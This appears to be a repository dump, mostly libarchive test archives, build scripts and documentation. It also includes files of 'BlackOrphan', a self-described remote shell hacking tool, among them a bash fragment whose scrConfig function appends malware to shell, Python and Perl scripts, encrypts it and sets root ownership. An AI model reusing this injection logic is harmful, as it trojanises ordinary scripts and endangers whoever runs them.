M9FEL92!T>7!E/69I;&4@=6ED/3$X(&UO9&4],#$R,R!S:7IE/3,*9&ER('1Y 3 | M<&4]9&ER"B!F:6QE7#`T,'=I=&A<,#0P7!E/61I<@H@(&EN9&ER,V$@='EP93UF:6QE"F1I 6 | M7!E/69I;&4@;6]D93TP-S7!E/69I;&4*(&1I7!E/69I 8 | M;&4*("`N+@H@+BX*;F]T:6YD:7(@='EP93UF:6QE"F1IG375X"P`!!.D#```$Z0,``/#RZ??E]%!+`P0*```(``!KI3\^S.&!%`8` 4 | M```&````#``<`-"_T8#0N-"RT+71@E54"0`#6J!&357SIDUU>`L``03I`P`` 5 | M!.D#``#P\NGWY?102P$"'@,*``````#FL(X^S.&!%`8````&````!@`8```` 6 | M```!````[8$`````\/+I]^7T550%``.`\:9-=7@+``$$Z0,```3I`P``4$L! 7 | M`AX#"@``"```:Z4_/LSA@10&````!@````P`&````````0```.V!1@```-"_ 8 | MT8#0N-"RT+71@E54!0`#6J!&375X"P`!!.D#```$Z0,``%!+!08``````@`" 9 | +`)X```"2```````` 10 | ` 11 | end 12 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_lha_header0.lzh.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_lha_header0.lzh 2 | M)L`M;&AD+0```````````$@B[!``!&1ID#Z0,GO2UL:#4M(@```#P`````2"+L(``%9FEL93&D 7 | MYU4`@5$!`*2!Z0/I`P`80FYIQ>/Z`=-:'>9%#"P%J!\CH0"/GE$,.W6FMSD% 8 | M*_4G02UL:#4M(@```$X`````2"+L(``%9FEL93+5%54`@5$!`+:!Z0/I`P`8 9 | A0FYIQV/Z`=.:'.9%#"P%J-\+H0"/'E$,.W6FMSD%*_T` 10 | ` 11 | end 12 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_zip_filename_utf8_ru.zip.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_zip_utf8_ru.zip 2 | M4$L#!`H```@``,NC/S[,X8$4!@````8````,`!P`T)_0H-"8T)+0E="B550) 3 | M``-.G49-'J"=375X"P`!!.D#```$Z0,``/#RZ??E]%!+`P0*```(``!KI3\^ 4 | MS.&!%`8````&````#``<`-"_T8#0N-"RT+71@E54"0`#6J!&31Z@G4UU>`L` 5 | M`03I`P``!.D#``#P\NGWY?102P$"'@,*```(``#+HS\^S.&!%`8````&```` 6 | M#``8```````!````[8$`````T)_0H-"8T)+0E="B550%``-.G49-=7@+``$$ 7 | MZ0,```3I`P``4$L!`AX#"@``"```:Z4_/LSA@10&````!@````P`&``````` 8 | M`0```.V!3````-"_T8#0N-"RT+71@E54!0`#6J!&375X"P`!!.D#```$Z0,` 9 | 7`%!+!08``````@`"`*0```"8```````` 10 | ` 11 | end 12 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_ar.ar.uu: -------------------------------------------------------------------------------- 1 | $FreeBSD: head/lib/libarchive/test/test_read_format_ar.ar.uu 201247 2009-12-30 05:59:21Z kientzle $ 2 | 3 | begin 755 test_read_format_ar.ar 4 | M(3QA7ET='1S^_VO?/X52A[:CCZ".9<'JV.U, 5 | MN6AG9G6;C%-A,2X*7 6 | M)%6SN;;CS7_GO;VI,!TR)L^=.SH^/T%'"-W'B?[PJ#_IW[0U=`K!(3XA0(\N 7 | MT$&X411VV:;C`^)]<&3T4S]+B@6)RS)7)$YR4JO7&C:,2Q`ZTYJ5JN04"``\ 8 | M`;`/8`_`+M!]DW\M;QJUJB6G3*9J^28K%:?:O"J:4KJ>/PFFKH?;!;<*;V77 9 | M;E$9IXML*:\@R?-B+==55BMM]T%-NA^VO]H_'H7N[5T0&H9QV&_\YP_X`B-U 10 | &WD<`!``` 11 | ` 12 | end 13 | -------------------------------------------------------------------------------- /libarchive-3.2.2/examples/minitar/README: -------------------------------------------------------------------------------- 1 | "minitar" is a minimal example of a program that uses libarchive to 2 | read/write various archive formats. It's a more ambitious version of 3 | 'untar.c' that includes compile-time options to enable/disable various 4 | features, including non-tar formats, archive creation, and automatic 5 | decompression support. 6 | 7 | I use this as a test bed to check for "link pollution," ensuring that 8 | a program using libarchive does not pull in unnecessary code. 9 | 10 | The "minitar" program is also a good starting point for anyone who 11 | wants to use libarchive for their own purposes, as it demonstrates 12 | basic usage of the library. 13 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_compat_lz4_1.tar.lz4.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_compat_lz4_1.tar.lz4 2 | M!")-&&1PN:8````_9C$``0!.Z#`P,#8T-"``,#`Q-S4Q"``$`@#_"#,@,3$Q 3 | M,3`U,S8V,3$@,#$Q,C0S`"`PF@!.\00```!UFQE%0`/ 4 | M`@`@`LL``-T```(`'R!"`"`/`@!B/V8Q"G@`8@\"`/]V+V8RB@%/#P`$&Q(S 5 | M``0?-@`$_U4?,@`$_^T?,P`$?1$V``0O-3(`!/]5'S,`!/_G4``````````` 6 | M`";]7\`$(DT89'"YL@```&]D,2]F,0`!`$OH,#`P-C0T(``P,#$W-3$(``0" 7 | M`/\(,R`Q,3$Q,#4S-C8R-R`P,3$U-38`(#"7`$L"`@#R`75S=&%R`#`P:VEE 8 | M;G1Z;&46``\"`!\"RP``W0```@`?($$`'P\"`&,_9C$*>0!C#P(`_W4```0? 9 | M,HP!3`\`!!HB,S``!!\Q``3_51\R``3_\!\S``1Z$C$`!!\S``3_51\S``3_ 10 | 6[`\"`/___^M0````````````;,,BR0`` 11 | ` 12 | end 13 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_zip_comment_stored_1.zip.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_zip_comment_stored_1.zip 2 | M4$L#!`H``````.&`9D$````````````````%`!P`9FEL93!55`D``Q:WF%`6 3 | MMYA0=7@+``$$]0$```04````4$L#!`H``````+Q[9D'J6.I]%P```!<````( 4 | M`!P`8G5I;&0N`L``03U`0``!!0` 7 | M``!02P$"'@,*``````"\>V9!ZECJ?1<````7````"``8```````!````[8$_ 8 | M````8G5I;&0N`L``03U`0``!!0```!02P4&``````(` 9 | M`@"9````F````"0`5&AI<`L``03U`0``!!0```!D#6Z\@CI8 6 | MV1GIJO5TISQF^I:7.;Y3<-G3$YOCL(C_4$L'"+VL 7 | M`PH`"0```#B91$7D$C4,'P```!,````%`!@```````$```"D@0````!F:6QE 8 | M,554!0`#;,`PH`"0```$&91$6]K',. 9 | M'P```!,````%`!@```````$```"D@6X```!F:6QE,E54!0`#><<`L``03U`0``!!0```!D#6Z\@CI8 6 | MV1GIJO5TISQF^I:7.;Y3<-G3$YOCL(C_4$L'"+VL 7 | M`PH`"0```#B91$7D$C4,'P```!,````%`!@```````$```"D@0````!F:6QE 8 | M,554!0`#;,`PH`"0```$&91$6]K',. 9 | M'P```!,````%`!@```````$```"D@6X```!F:6QE,E54!0`#><`P!#2DTAT@```$*((<0`````__\#`$-*32'2```` 14 | ` 15 | end 16 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_zip_padded1.zip.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_zip_padded1.zip 2 | MBG[*5O,EN^?);45X-!:9?HM14B$W 5 | MD5)U>`L``03U`0``!!0```!F:6QE,`I02P,$"@``````^'EW0P3W*>(&```` 6 | M!@````4`'`!F:6QE,554"0`#)#>14B0WD5)U>`L``03U`0``!!0```!F:6QE 7 | M,0I02P$"'@,*``````#W>7=#1<8R^P8````&````!0`8```````!````I($` 8 | M````9FEL93!55`4``R$WD5)U>`L``03U`0``!!0```!02P$"'@,*``````#X 9 | M>7=#!/`L``03U`0``!!0```!02P4&``````(``@"6````B@`````` 11 | ` 12 | end 13 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_lha_header1.lzh.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_lha_header1.lzh 2 | M&7\M;&AD+1H``````````$@B["`!````50<``F1ID#Z0,' 3 | M`%2!40$````9@2UL:&0M&P``````````2"+L(`$```!5"``"9&ER,O\%`%#M 4 | M00<`4>D#Z0,'`%2!40$````><2UL:&0M)P`````````!2"/L(`$%9FEL93$` 5 | M`%44``)D:7(R_W-Y;6QI;FLQ?"XN_P4`4.VA!P!1Z0/I`P<`5`*C`@```!YR 6 | M+6QH9"TG``````````%((^P@`05F:6QE,@``510``F1I40P[=::W.04K]1YX+6QH-2TU````3@````!((NP@`05F:6QE 10 | M,M45504`4+:!!P!1Z0/I`P<`5(%1`0`````80FYIQV/Z`=.:'.9%#"P%J-\+ 11 | /H0"/'E$,.W6FMSD%*_T` 12 | ` 13 | end 14 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_lha_header2.lzh.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_lha_header2.lzh 2 | M-0`M;&AD+0``````````@5$!`"`"``!5!0``!=X#``$'``)D:7+_!0!0Z$$' 3 | M`%'I`^D#```V`"UL:&0M``````````"!40$`(`(``%4%```(F0,``0@``F1I 4 | M6UL:6YK,7PN+O\%`%#MH0<`4>D#Z0,``$<` 6 | M+6QH9"T```````````*C`@`@`@``504``(?M"``!9FEL93(4``)D:7(R_W-Y 7 | M;6QI;FLR?"XN_P4`4.VA!P!1Z0/I`P``,P`M;&@U+2(````\````@5$!`"`" 8 | MI.=5!0``_0$(``%F:6QE,04`4*2!!P!1Z0/I`P```!A";FG%X_H!TUH=YD4, 9 | M+`6H'R.A`(^>40P[=::W.04K]3,`+6QH-2TB````3@```(%1`0`@`M45504` 10 | M`"_&"``!9FEL93(%`%"V@0<`4>D#Z0,````80FYIQV/Z`=.:'.9%#"P%J-\+ 11 | /H0"/'E$,.W6FMSD%*_T` 12 | ` 13 | end 14 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_lha_lh6.lzh.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_lha_lh6.lzh 2 | M-0`M;&AD+0``````````@5$!`"`"``!5!0``!=X#``$'``)D:7+_!0!0Z$$' 3 | M`%'I`^D#```V`"UL:&0M``````````"!40$`(`(``%4%```(F0,``0@``F1I 4 | M6UL:6YK,7PN+O\%`%#MH0<`4>D#Z0,``$<` 6 | M+6QH9"T```````````*C`@`@`@``504``(?M"``!9FEL93(4``)D:7(R_W-Y 7 | M;6QI;FLR?"XN_P4`4.VA!P!1Z0/I`P``,P`M;&@V+2,````\````@5$!`"`" 8 | MI.=5!0``C24(``%F:6QE,04`4*2!!P!1Z0/I`P```!A";FG%X_H!TUH=YD4, 9 | M+`6H'R.0@$?/*(8=NM-;G(*5^H`S`"UL:#8M(P```$X```"!40$`(`+5%54% 10 | M``!?X@@``69I;&4R!0!0MH$'`%'I`^D#````&$)N:<=C^@'3FASF10PL!:C? 11 | 1"Y"`1X\HAAVZTUN<@I7^@``` 12 | ` 13 | end 14 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_lha_lh7.lzh.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_lha_lh7.lzh 2 | M-0`M;&AD+0``````````@5$!`"`"``!5!0``!=X#``$'``)D:7+_!0!0Z$$' 3 | M`%'I`^D#```V`"UL:&0M``````````"!40$`(`(``%4%```(F0,``0@``F1I 4 | M6UL:6YK,7PN+O\%`%#MH0<`4>D#Z0,``$<` 6 | M+6QH9"T```````````*C`@`@`@``504``(?M"``!9FEL93(4``)D:7(R_W-Y 7 | M;6QI;FLR?"XN_P4`4.VA!P!1Z0/I`P``,P`M;&@W+2,````\````@5$!`"`" 8 | MI.=5!0``'(D(``%F:6QE,04`4*2!!P!1Z0/I`P```!A";FG%X_H!TUH=YD4, 9 | M+`6H'R.0@$?/*(8=NM-;G(*5^H`S`"UL:#`0`Z`/H`U!+!P@```````````````!02P,$%`````@`;V:S-CHW9CT* 4 | M````$@````4`%0!F:6QE,554"0`#055/1L!9_4A5>`0`Z`/H`\M(S`0`Z`/H`\M(S```4$L!`A<#%``(``@`;V:S-CHW9CT*````$@````4`#0`` 9 | M`````0```.V!1P```&9I;&4Q550%``-!54]&57@``%!+`0(7`Q0`"``(`%IJ 10 | MLS9X>'AX"@```!(````%``T```````$```#M@8D```!F:6QE,E54!0`#K%M/ 11 | ;1E5X``!02P4&``````,``P"_````VP`````` 12 | ` 13 | end 14 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_zip_traditional_encryption_data.zip.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_zip_traditional_encryption_data.zip 2 | M4$L#!!0`"0`(`,HT$$5'_=BD'0```.\!```'`!P`8F%R+G1X=%54"0`#S'WN 3 | M4])][E-U>`L``03U`0``!!0```"E=VLFG3$F"T]Q^;J:A17F^=#3L<1CO8K; 4 | MX-(?KU!+!PA'_=BD'0```.\!``!02P,$%``)``@`V#001>O'D[0=````[P$` 5 | M``<`'`!F;V\N='AT550)``/H?>Y3Z'WN4W5X"P`!!/4!```$%````#O!PFX- 6 | MNJG:A01W(N8M^T7N9=\_D!=4=?,$"6L\4$L'".O'D[0=````[P$``%!+`0(> 7 | M`Q0`"0`(`,HT$$5'_=BD'0```.\!```'`!@```````$```"D@0````!B87(N 8 | M='AT550%``/,?>Y3=7@+``$$]0$```04````4$L!`AX#%``)``@`V#001>O' 9 | MD[0=````[P$```<`&````````0```*2!;@```&9O;RYT>'155`4``^A][E-U 10 | D>`L``03U`0``!!0```!02P4&``````(``@":````W``````` 11 | ` 12 | end 13 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_compat_lz4_2.tar.lz4.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_compat_lz4_2.tar.lz4 2 | M!")-&&1PN:8````_9C$``0!.Z#`P,#8T-"``,#`Q-S4Q"``$`@#_"#,@,3$Q 3 | M,3`U,S8V,3$@,#$Q,C0S`"`PF@!.\00```!UFQE%0`/ 4 | M`@`@`LL``-T```(`'R!"`"`/`@!B/V8Q"G@`8@\"`/]V+V8RB@%/#P`$&Q(S 5 | M``0?-@`$_U4?,@`$_^T?,P`$?1$V``0O-3(`!/]5'S,`!/_G4``````````` 6 | M`";]7\`$(DT89'"YL@```&]D,2]F,0`!`$OH,#`P-C0T(``P,#$W-3$(``0" 7 | M`/\(,R`Q,3$Q,#4S-C8R-R`P,3$U-38`(#"7`$L"`@#R`75S=&%R`#`P:VEE 8 | M;G1Z;&46``\"`!\"RP``W0```@`?($$`'P\"`&,_9C$*>0!C#P(`_W4```0? 9 | M,HP!3`\`!!HB,S``!!\Q``3_51\R``3_\!\S``1Z$C$`!!\S``3_51\S``3_ 10 | M[`\"`/___^M0````````````;,,BR51H:7,@:7,@=6YR96QA=&5D(&IU;FL@ 11 | <9&%T82!A="!T:&4@96YD(&]F('1H92!F:6QE"@`` 12 | ` 13 | end 14 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_compat_xz_1.txz.uu: -------------------------------------------------------------------------------- 1 | $FreeBSD: head/lib/libarchive/test/test_compat_xz_1.txz.uu 191183 2009-04-17 01:06:31Z kientzle $ 2 | begin 644 test_compat_gzip_1.txz 3 | M_3=Z6%H```3FUK1&`@`A`18```!T+^6CX`^?`(-=`#,,/!NGC#0&C6L"2_R2 4 | M/O9*^(7KX=WM^(=KA(RH"\09$$)!Q_+JUHQ*`]R;ITL_F3/I6:^Q0550A&)B 5 | MHS@=K]7@K1-9FOIP#PU!I?E5&IHH&Q=N>_C&G 6 | M-$G]+L[\,B<7%8&$NO5K31*Y>"D^*ZG,Z=H```"KU50H$1^1S``!GP&@'P`` 7 | MLZ042+'$9_L"``````196OTW>EA:```$YM:T1@(`(0$6````="_EH^`,7P!I 8 | M70``;IBIKOMK%/A?-TZV0266G?2,[/?\,JE6` 9 | M__C/SA[W1?*26UL:6YK,7PN+O\%`%#MH0<`4>D#Z0,``$<` 6 | M+6QH9"T```````````*C`@`@`@``504``(?M"``!9FEL93(4``)D:7(R_W-Y 7 | M;6QI;FLR?"XN_P4`4.VA!P!1Z0/I`P``,P`M;&@U+2(````\````@5$!`"`" 8 | MI.=5!0``_0$(``%F:6QE,04`4*2!!P!1Z0/I`P```!A";FG%X_H!TUH=YD4, 9 | M+`6H'R.A`(^>40P[=::W.04K]3,`+6QH-2TB````3@```(%1`0`@`M45504` 10 | M`"_&"``!9FEL93(%`%"V@0<`4>D#Z0,````80FYIQV/Z`=.:'.9%#"P%J-\+ 11 | =H0"/'E$,.W6FMSD%*_T`:G5N:R!D871A(2$A(0H` 12 | ` 13 | end 14 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_lha_withjunk.lzh.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_lha_withjunk.lzh 2 | M-0`M;&AD+0``````````@5$!`"`"``!5!0``!=X#``$'``)D:7+_!0!0Z$$' 3 | M`%'I`^D#```V`"UL:&0M``````````"!40$`(`(``%4%```(F0,``0@``F1I 4 | M6UL:6YK,7PN+O\%`%#MH0<`4>D#Z0,``$<` 6 | M+6QH9"T```````````*C`@`@`@``504``(?M"``!9FEL93(4``)D:7(R_W-Y 7 | M;6QI;FLR?"XN_P4`4.VA!P!1Z0/I`P``,P`M;&@U+2(````\````@5$!`"`" 8 | MI.=5!0``_0$(``%F:6QE,04`4*2!!P!1Z0/I`P```!A";FG%X_H!TUH=YD4, 9 | M+`6H'R.A`(^>40P[=::W.04K]3,`+6QH-2TB````3@```(%1`0`@`M45504` 10 | M`"_&"``!9FEL93(%`%"V@0<`4>D#Z0,````80FYIQV/Z`=.:'.9%#"P%J-\+ 11 | =H0"/'E$,.W6FMSD%*_T`:G5N:R!D871A(2$A(0H` 12 | ` 13 | end 14 | -------------------------------------------------------------------------------- /libarchive-3.2.2/build/autoconf/la_uid_t.m4: -------------------------------------------------------------------------------- 1 | # la_TYPE_UID_T 2 | # ------------- 3 | AC_DEFUN([la_TYPE_UID_T], 4 | [AC_REQUIRE([AC_CANONICAL_HOST])dnl 5 | AC_CACHE_CHECK(for uid_t in sys/types.h, la_cv_type_uid_t, 6 | [AC_EGREP_HEADER(uid_t, sys/types.h, 7 | la_cv_type_uid_t=yes, la_cv_type_uid_t=no)]) 8 | if test $la_cv_type_uid_t = no; then 9 | case $host in 10 | *mingw*) def_uid_t=short ;; 11 | *) def_uid_t=int ;; 12 | esac 13 | AC_DEFINE_UNQUOTED(uid_t, [$def_uid_t], 14 | [Define to match typeof st_uid field of struct stat if doesn't define.]) 15 | AC_DEFINE_UNQUOTED(gid_t, [$def_uid_t], 16 | [Define to match typeof st_gid field of struct stat if doesn't define.]) 17 | fi 18 | ]) 19 | AU_ALIAS([AC_TYPE_UID_T], [la_TYPE_UID_T]) 20 | 21 | -------------------------------------------------------------------------------- /libarchive-3.2.2/build/cmake/FindLibGCC.cmake: -------------------------------------------------------------------------------- 1 | # - Find libgcc 2 | # Find the libgcc library. 3 | # 4 | # LIBGCC_LIBRARIES - List of libraries when using libgcc 5 | # LIBGCC_FOUND - True if libgcc found. 6 | 7 | IF (LIBGCC_LIBRARY) 8 | # Already in cache, be silent 9 | SET(LIBGCC_FIND_QUIETLY TRUE) 10 | ENDIF (LIBGCC_LIBRARY) 11 | 12 | FIND_LIBRARY(LIBGCC_LIBRARY NAMES gcc libgcc) 13 | 14 | # handle the QUIETLY and REQUIRED arguments and set LIBGCC_FOUND to TRUE if 15 | # all listed variables are TRUE 16 | INCLUDE(FindPackageHandleStandardArgs) 17 | FIND_PACKAGE_HANDLE_STANDARD_ARGS(LIBGCC DEFAULT_MSG LIBGCC_LIBRARY) 18 | 19 | IF(LIBGCC_FOUND) 20 | SET(LIBGCC_LIBRARIES ${LIBGCC_LIBRARY}) 21 | SET(HAVE_LIBGCC 1) 22 | ENDIF(LIBGCC_FOUND) 23 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_write_disk_mac_metadata.tar.gz.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_write_disk_mac_metadata.tar.gz 2 | M'XL(")$=EU```W1ED^J[X=\E-1`VU$L 11 | MDD1X!Z"E_TCQM_]^_6."M_1/+&R5]_]OP%]<3_BC4ITE)24E!\8G]#K>=@`0 12 | "```` 13 | ` 14 | end 15 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_tar_filename_koi8r.tar.Z.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_tar_filename_koi8r.tar.Z 2 | M'YV04,+@05(F#)DR3.FQ9O7%@,[A`B[]L:6($5"-5D#Y>Z57;=ZM"&3 7 | M9N^?.'7RG/'81E`8MJ,77=KTJ<>KI;&3%L[2J_3OX%/+?AB^O/GSZ-.K7\\^ 8 | M?,"!!0\FA"8MV;5BU-IO_QB2)6_?*O76G7`@%5?33SV)Q%-E-]`0U%#ZV4:= 9 | M4U!I5Y:%9'$7'%<1=GC>67OU]1;AD$06:>212&)$GWWX)5D6;OW])J"4``K7$G$S'6A9 11 | M#3[MU!E-SSF)VH361355=F?NYYV&8K9)VGBTN2GGG'36:>>=>.:IYYY\]NGG 12 | (GX`&*NB@%P$` 13 | ` 14 | end 15 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "blackorphan", 3 | "version": "1.0.0", 4 | "description": "remote shell access tool", 5 | "main": "BlackOrphan1.0", 6 | "scripts": { 7 | "test": "bash BlackOrphan1.0" 8 | }, 9 | "repository": { 10 | "type": "git", 11 | "url": "git+https://github.com/zombieleet/BlackOrphan.git" 12 | }, 13 | "keywords": [ 14 | "remoteshell", 15 | "access", 16 | "hacking", 17 | "hack", 18 | "linux", 19 | "bash", 20 | "orphan", 21 | "black", 22 | "blackorphan" 23 | ], 24 | "author": "zombiel33t (73mp74710n)", 25 | "license": "MIT", 26 | "bugs": { 27 | "url": "https://github.com/zombieleet/BlackOrphan/issues" 28 | }, 29 | "homepage": "https://github.com/zombieleet/BlackOrphan#readme", 30 | "dependencies": { 31 | "colors": "^1.1.2" 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /libarchive-3.2.2/cpio/test/test_option_f.cpio.uu: -------------------------------------------------------------------------------- 1 | $FreeBSD$ 2 | begin 644 test_option_f.cpio 3 | M,# 11 | 12 | struct archive * 13 | archive_write_new(void); 14 | 15 | DESCRIPTION 16 | Allocates and initializes a struct archive object suitable for writing a 17 | tar archive. NULL is returned on error. 18 | 19 | A complete description of the struct archive object can be found in the 20 | overview manual page for libarchive(3). 21 | 22 | SEE ALSO 23 | tar(1), libarchive(3), archive_write(3), archive_write_set_options(3), 24 | cpio(5), mtree(5), tar(5) 25 | 26 | BSD February 2, 2012 BSD 27 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_zip_padded2.zip.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_zip_padded2.zip 2 | M4$L#!`H``````/=Y=T-%QC+[!@````8````%`!P`9FEL93!55`D``R$WD5(A 3 | M-Y%2=7@+``$$]0$```04````9FEL93`*4$L#!`H``````/AY=T,$]RGB!@`` 4 | M``8````%`!P`9FEL93%55`D``R0WD5(D-Y%2=7@+``$$]0$```04````9FEL 5 | M93$*4$L!`AX#"@``````]WEW0T7&,OL&````!@````4`&````````0```*2! 6 | M`````&9I;&4P550%``,A-Y%2=7@+``$$]0$```04````4$L!`AX#"@`````` 7 | M^'EW0P3W*>(&````!@````4`&````````0```*2!10```&9I;&4Q550%``,D 8 | M-Y%2=7@+``$$]0$```04````4$L%!@`````"``(`E@```(H``````(.2J;)Q 9 | M[PX@J`9,J[C2AH>N<8_.US0'*2[BOW;O(NTEX5WU&F@8Z'+:Q]HTV@/M"D"9 10 | MPM-+&=&VJIL(Z1VGT?_2.G?,\!@N> "${fileName}" 6 | done < "${dirfile}" 7 | 8 | 9 | [[ "${dirfile}" != "tempScript.sh" ]] && rm "${fileName}.${fileExt}" 10 | 11 | 12 | chown root:root ./* 13 | chmod 775 ./* 14 | } 15 | 16 | scrConfig() { 17 | local fileExt="${1}" 18 | case ${fileExt} in 19 | sh) 20 | _sh ${fileName} 21 | 22 | appendMalware 23 | 24 | crypt "shell script" "${CRYPT}" 25 | ;; 26 | py) 27 | _py "${fileName}" 28 | 29 | appendMalware 30 | 31 | echo "!" >> "${fileName}" 32 | 33 | crypt "python script" "${CRYPT}" 34 | ;; 35 | pl) 36 | _pl "${fileName}" 37 | 38 | appendMalware 39 | 40 | echo "!" >> "${fileName}" 41 | 42 | crypt "perl script" "${CRYPT}" 43 | 44 | ;; 45 | esac 46 | 47 | } 48 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_gtar_sparse_skip_entry.tar.Z.uu: -------------------------------------------------------------------------------- 1 | begin 644 - 2 | M'YV04,+@05(F#)DRBD:;,V!@T8-6)NE&'#10T<-#;>R(%CAEV28_3R9?LW\(P8-F[`<#%C 6 | M)@T<->#6>`PBC.2^E07;J#'#Q>J-F5DJ<`GBB),J+N;`<3JGC(LV8=2\D<-V 7 | M]DO;N'7S]MTFC9OA/6#,CE'[=N[=$V 8 | M9]RY=212"9YD1EOO*&`DE!&*>645%9IY9589JGE 11 | MEEQVZ>678(8IYIADEFGFF6BFJ>::;+;IYIMPQBGGG'36:>>=>.:IYYY\]NGG 12 | MGX`&*NB@A!9JJ)YB](D@1PZ>U&B#*468484RT11###7<8!8(&-)4PX=^DN@4 13 | B5%*E6.J*746JTHN'2LFDDZW&*NNLM-9JZZVXYJKKKKR&!0`` 14 | ` 15 | end 16 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_cpio_filename_cp866.cpio.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_cpio_cp866.cpio 2 | M,#3.FQ94D;-D#$B%&#QHT9,CS.B`DCADT;-P"`P,.QJ-&C2)-:K#.' 4 | M3A@Y)&&,J5-&:<:I5:U>=.F1IV5P]@Q:=!HW;P87IE'C!@W-.%9_#NW"#9O7:P8K,$N\ 7 | MN/'CR),K7\Z\N?.)"QL^?$[=:$N0(J.:K(%2^\JH7%O&G%GS9DX8.T'T+`PC 8 | MJ/KJ\)$R=0K5(];B]XF']]H2;/S_`"H'CSSIW%,./0$FJ.""##;HX(,01@A` 9 | M0`,5=%!"`Q9XH(3Z?1022]MUIQ)W_+D4`TPRT6033CKQ1),,0`E%%(?PS?=4 10 | M5/F9E6-9^X'7'XU`-H@6"&JQY18LP\@R3"K#W#),*.*E6!Z+Z+DX0V'NP4!HJ,<%NB&IJ*:JZJJLMNKJJ[#&*NNLM-9JZZVXYDH< 14 | ` 15 | end 16 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_zip_filename_utf8_jp.zip.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_zip_utf8.zip 2 | M4$L#!`H```@``,E4=#X````````````````*`!P`Z*&HXX&@XX*(+U54"0`# 3 | MBEJ%3;[UBDUU>`L``03M`P``!`$"``!02P,$"@``"```]51T/H*)T?<%```` 4 | M!0```!<`'`#HH:CC@:#C@H@OY+B`Z*:GZ*&H+G1X=%54"0`#WEJ%31KLBDUU 5 | M>`L``03M`P``!`$"``!(96QL;U!+`P0*```(``"V5'0^W)UO0@4````%```` 6 | M%``<`.BAJ..!H.."B"_FO*+EK9`L``03M`P``!`$" 9 | M``!02P$"'@,*```(``#U5'0^@HG1]P4````%````%P`8```````!````[8%$ 10 | M````Z*&HXX&@XX*(+^2X@.BFI^BAJ"YT>'155`4``]Y:A4UU>`L``03M`P`` 11 | M!`$"``!02P$"'@,*```(``"V5'0^W)UO0@4````%````%``8```````!```` 12 | M[8&:````Z*&HXX&@XX*(+^:\HN6MERYT>'155`4``VA:A4UU>`L``03M`P`` 13 | ;!`$"``!02P4&``````,``P`'`0``[0`````` 14 | ` 15 | end 16 | -------------------------------------------------------------------------------- /libarchive-3.2.2/tar/test/test_option_s.tar.Z.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_option_s.tar.Z 2 | M'YV0:=R\(!/C!8"#"!,J7,BPH<.'$"-*1`BCXHT:-4``J`CCAHV,&SG*H*&1 3 | MHTF3(&+$^%@C!HT8,&C(``%#Y0T9,P"`J#&QI\^?0(,"J#.'3A@Y(>FD:2/4 4 | M8=$P9LPT77@21LF3&J=JWA`0<6%'/TJ]FS"3G:H$$R9,>/5RN.C%L5 5 | MQHR4*S&ZA"F39HR1=G7"0$NX<$*B1I%65,KTZ].H7JO2K9C5L.7+F+>219JY 6 | ML^?/H$.+'DVZM&G+80F^,//FS6G0:MG&]0C2Y%RW=>^J9+DWYLR:(V7($/SZ 7 | M->*RBY>:?2RUJV3.&2#JGHUGLMMB=>.:IYYX'A3A' 12 | M'FWPN`:?[F&T8FTB:?EBERW-"&8-=N$HPYQ16F@GGPBA.>"0:Q;9)DH*5H;I 13 | MJ*26:NJIJ*:JZJJLMNKJJ[#&*NNLM-9JZZVXYJKKKKSVZNNOP`8K[+#$%FOL 14 | )L<@FJ^RRS.X) 15 | ` 16 | end 17 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_compat_zip_1.zip.uu: -------------------------------------------------------------------------------- 1 | $FreeBSD: src/lib/libarchive/test/test_compat_zip_1.zip.uu,v 1.2 2008/06/30 15:49:12 des Exp $ 2 | begin 644 test_compat_zip_1.zip 3 | M4$L#!!0`"``(``B$@S<````````````````4````345402U)3D8O34%.249% 4 | M4U0N34;S3J9Z!O$&YKI)!H8*&L&E>0J^FIJ\7+Q<`%!+!PAHTY\490```'$```!02P,$%``(``@`"(2# 7 | M-P````````````````D```!T;7`N8VQA"%3```%!+!P@+ 10 | 